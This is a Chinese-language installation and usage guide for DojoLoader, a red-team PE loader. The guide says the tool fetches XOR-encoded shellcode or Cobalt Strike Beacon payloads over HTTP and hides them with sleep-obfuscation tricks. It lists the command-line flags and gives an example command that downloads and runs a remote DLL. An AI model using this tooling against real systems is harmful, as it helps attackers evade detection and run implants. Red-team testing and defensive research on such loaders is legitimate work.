DojoLoader 项目安装与配置指南
2025-04-17 07:19:40作者:董斯意
1. 项目基础介绍
DojoLoader 是一个通用的 PE(Portable Executable)加载器,主要用于快速原型化和测试逃逸技术。该项目最初是为了减少使用 Cobalt Strike 的 UDRL(User-Defined Reflective Loader)调试时间而创建的,特别是针对没有 UDRL 的原始 Beacon 负载。DojoLoader 支持多种睡眠混淆技术,以规避调试和检测。
该项目主要使用的编程语言是 C。
2. 项目使用的关键技术和框架
- PE 加载器技术:负责从 HTTP 或文件加载并执行 XOR 编码的 shellcode。
- 动态 IAT(Import Address Table)钩子:用于动态地钩住 Sleep 函数,实现混淆。
- 睡眠混淆技术:实现了三种不同的睡眠混淆技术,包括 RW->RX、MemoryBouncing 和 MemoryHopping,这些技术旨在规避常见的 RX->RW 检测。
3. 项目安装和配置的准备工作与详细步骤
准备工作
在开始安装和配置 DojoLoader 之前,请确保您的系统满足以下要求:
- 操作系统:Windows
- 编译环境:支持 C 语言的编译器,如 Visual Studio
- 其他工具:Git(用于克隆项目)
安装步骤
-
克隆项目
打开命令行工具(如 PowerShell 或 CMD),然后输入以下命令来克隆项目:
git clone https://github.com/naksyn/DojoLoader.git这将在当前目录下创建一个名为
DojoLoader的文件夹,其中包含项目文件。 -
编译项目
打开 Visual Studio 或其他支持 C 语言的编译器,并加载
DojoLoader.sln解决方案文件。然后,编译整个项目。如果编译成功,将在项目目录下生成可执行文件。 -
配置和使用
- 从 URL 加载 PE 文件:使用
-d <url>参数指定 PE 文件的 URL。 - 从文件加载 PE 文件:使用
-f <file>参数指定 PE 文件的路径。 - 使用 XOR 密钥:如果 PE 文件被 XOR 编码,可以使用
-k <key>参数指定 XOR 密钥。 - 选择睡眠混淆技术:使用
-s <function>参数选择睡眠混淆技术,其中1或membounce代表 MemoryBouncing,2或memhop代表 Memory Hopping,3或RWRX代表经典的 RW->RX 技术。 - 使用 Cobalt Strike Beacon 负载:如果使用 Cobalt Strike Beacon 负载,请使用
-beacon参数。
例如,以下命令将从指定的 URL 加载 PE 文件,并使用 MemoryBouncing 睡眠混淆技术:
DojoLoader.exe -d http://example.com/path/to/pefile.dll -s 1 - 从 URL 加载 PE 文件:使用
按照以上步骤,您应该能够成功安装并配置 DojoLoader 项目,并开始使用它进行快速原型化和测试逃逸技术。
登录后查看全文
热门项目推荐
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0446
源启盛夏_AtomGit暑期开发者成长计划「源启盛夏」暑期校园开发者成长计划旨在激活校园开源力量,通过积分激励、认证扶持、资源倾斜等形式,引导高校组织和开发者完成「入驻 — 建项目 — 做贡献 — 获认证 — 得资源」的完整闭环。无论你是想带领社团入驻平台的组织者,还是希望用代码贡献证明自己的开发者,都能在这里找到属于你的成长路径。Markdown00
jiuwenswarmJiuwenSwarm 是一款基于openJiuwen开发的智能AI Agent,它能够将大语言模型的强大能力,通过你日常使用的各类通讯应用,直接延伸至你的指尖。Python0761
Hy3Hy3 是由腾讯混元团队研发的快慢思考融合的混合专家模型,总参数量 295B,激活参数 21B,MTP 层参数 3.8B。4 月底发布 Hy3 Preview 后,我们在 50 多个业务中获得了广泛的反馈,修复了各种体验问题,进一步提升了后训练的质量和规模。今天,我们发布 Hy3。它展现出显著强于同尺寸并比肩旗舰(参数规模往往是 Hy3 的 2~5 倍)开源模型的智能水平,显著提升了在各类产品和生产力任务中的实用价值。Python00
AscendNPU-IRAscendNPU-IR是基于MLIR(Multi-Level Intermediate Representation)构建的,面向昇腾亲和算子编译时使用的中间表示,提供昇腾完备表达能力,通过编译优化提升昇腾AI处理器计算效率,支持通过生态框架使能昇腾AI处理器与深度调优C++0310
DragonOSDragonOS is an operating system developed from scratch using Rust, with Linux compatibility. It is designed for **Serverless** scenarios. 使用Rust从0自研内核,具有Linux兼容性的操作系统,面向云计算Serverless场景而设计。Rust00
项目优选
收起
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
494
515
deepin linux kernel
C
32
16
Ascend Extension for PyTorch
Python
799
1.13 K
暂无描述
Markdown
825
5.48 K
本项目是CANN提供的神经网络类计算算子库,实现网络在NPU上加速计算。
C++
780
1.57 K
本项目是CANN提供的transformer类大模型算子库,实现网络在NPU上加速计算。
C++
964
2.27 K
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
1.2 K
1.24 K
CANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。
Jupyter Notebook
640
275
本仓将收集和展示高质量的仓颉示例代码,欢迎大家投稿,让全世界看到您的妙趣设计,也让更多人通过您的编码理解和喜爱仓颉语言。
C
830
6.17 K
昇腾LLM分布式训练框架
Python
194
272